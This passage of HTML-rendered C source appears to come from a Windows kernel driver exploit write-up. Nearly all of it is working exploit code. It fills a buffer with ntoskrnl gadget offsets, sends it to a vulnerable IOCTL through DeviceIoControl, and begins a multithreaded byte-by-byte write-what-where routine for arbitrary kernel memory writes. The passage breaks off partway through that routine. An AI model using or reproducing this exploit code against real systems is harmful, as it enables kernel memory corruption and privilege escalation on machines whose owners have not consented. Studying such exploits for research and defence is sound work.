style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">))] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ntoskrnl_base </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> TRY_SPIN_OFFSET;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    buff_28h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">50</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">))] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ntoskrnl_base </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> WRITE_CHAR_OFFSET;</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    buff_28h</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[(</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">50</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">28</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> /</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">))] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ntoskrnl_base </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> SPIN_OFFSET;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    DeviceIoControl</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">hdev</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, VULN_IOCTL, input_buffer, </span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">100</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&amp;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">returned_bytes, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[!][write_byte][</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> - </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">] This printf will never execute, unless we manually lift and fix the spinlock, Unfortunately this has executed : hdev : 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%p</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> - what : 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%02X</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> - where : 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%llX</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">id</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">threadId</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">hdev</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">where</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> write_mem</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">WRITE_WHAT_WHERE</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#E36209;--shiki-light-font-style:inherit;--shiki-dark:#E06C75;--shiki-dark-font-style:italic"> bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[+][write_mem] Trying to write :</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n\t</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">devicePath : </span><span style="--shiki-light:#B31D28;--shiki-light-font-style:italic;--shiki-dark:#FFFFFF;--shiki-dark-font-style:inherit">%</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">ws</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n\t</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">what : 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%llX</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n\t</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">where : 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%llX</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">devicePath</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">where</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    HANDLE </span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">threads</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> };</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    DWORD   </span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">dwThreadIdArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[MAX_THREADS];</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    HANDLE  </span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">hThreadArray</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[MAX_THREADS];</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    PWRITE_WHAT_WHERE_BYTE </span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[MAX_THREADS];</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // Retrive all the 4 bytes of the 64-bytes</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> what_uint8</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">[]</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> };</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)((</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> &amp;</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">00000000000000FF</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">));</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)((</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> &amp;</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">000000000000FF00</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&gt;&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)((</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> &amp;</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0000000000FF0000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&gt;&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 16</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">3</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)((</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> &amp;</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">00000000FF000000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&gt;&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 24</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">4</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)((</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> &amp;</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">000000FF00000000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&gt;&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 32</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">5</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)((</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> &amp;</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0000FF0000000000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&gt;&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 40</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">6</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)((</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> &amp;</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">00FF000000000000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&gt;&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 48</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">    what_uint8</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">7</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)((</span><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">bv</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> &amp;</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">FF00000000000000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&gt;&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 56</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> what_uint8_size </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(what_uint8) </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">/</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">));</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; i </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">&lt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> what_uint8_size; i</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">++</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">        what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (PWRITE_WHAT_WHERE_BYTE)</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">HeapAlloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">            GetProcessHeap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            HEAP_ZERO_MEMORY,</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">            sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(WRITE_WHAT_WHERE_BYTE)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        );</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">what_write_where_array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[i] </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">            printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[!][write_mem][</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">%d</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">] Could not allocate the HEAP. Testing next thread.</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, i);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">            continue</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">        // Open the handle</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        HANDLE hDevice </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
